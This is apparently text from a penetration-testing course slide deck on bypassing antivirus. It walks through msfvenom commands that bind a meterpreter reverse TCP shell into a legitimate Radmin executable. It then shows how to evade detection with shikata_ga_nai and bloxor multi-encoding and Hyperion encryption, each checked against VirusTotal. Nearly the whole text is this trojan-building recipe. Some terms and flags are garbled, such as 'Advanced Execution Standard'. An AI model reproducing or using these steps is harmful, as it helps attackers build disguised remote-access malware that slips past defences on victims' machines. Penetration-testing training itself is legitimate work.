Bypassing Antivirus API Web Application Penetration Testing 17

Bypassing Antivirus API Web Application Penetration Testing ‘ 17

Bypassing Antivirus API Encoding malicious file so that it can’t be traced by the antivirus applications. Highlights – Creating Trojans using msfvenom. Encoding a Trojan. Shikata_ga_nai encoding. Multiencoding using msfvenom. Hyperion.

Creating Trojans using msfvenom Trojan – Malicious/Bad code file. Creating a Trojan handler with msfvenom Msfvenom –p windows/meterpreter/reverse_tcp LHOST = [host ip] LPORT = [Desired Port] –x /usr/share/windows-binaries/radmin. exe –k –f exe > radmin. exe It will output trojaned radmin viewer with meterpreter reverse tcp shell. This will be used for exploiting windows target machine by running infected Radmin viewer.

Encoding a Trojan is encoded to be prevented from detecting by antivirus applications. Open kali terminal and type – Msfvenom –l encoders It will list encoders including their rank and description. x 86/shikata_ga_nai is excellent ranked polymorphic XOR Additive Feedback Encoder.

Shikata_ga_nai Encoding Shikata_ga_nai is in Japanese meaning “It can’t be helped” Encoding with shikata_ga_nai – Msfvenom –p windows/meterpreter/reverse_tcp LHOST = [Host IP] LPORT = [Desired Port] x 86/shikata_ga_nai –i 10 –f exe > Trojan. exe –e Upload the resulting binary to virus total website and check the results. The result will not be much efficient as antivirus developers check for the pre-define metaspoit templates. Results can be improved by multiencoding the Trojan.

Multiencoding using msfvenom In this demonstration, shikata_ga_nai and bloxor encoding will be used for multiencoding. First create an encoded RAW binary with shikata_ga_nai which can be later encoded and output into executable. Msfvenom –p windows/meterpreter/reverse_tcp LHOST = [Host IP] LPORT = [Desired Port] x 86/shikata_ga_nai –i 10 –f raw > Trojan 1. bin –e Now, again encode the output Raw binary using bloxor encoding. Msfvenom –p –f exe –a x 86 – -platform windows –e x 86/bloxor –i 10 > Trojan 1. exe < Trojan 1. bin Upload the output executable to virus total website, results will be far improved but yet not best.

Hyperion – Encrypting Meta Executable Hyperion uses Advanced Execution Standard (AES) Encryption which is current industry standard encryption. {Backend process is much related to cryptography background}. Encrypting Meta Executable: Msfvenom –p windows/meterpreter/reverse_tcp LHOST = [Host IP] LPORT = [Desired Port] –f exe > meta. exe Cd Hyperion-1. 0/ Wine. . /hyperion. . /meta. exe bypassavhyperion. exe Upload the output executable to virus total and check the result.

Thanks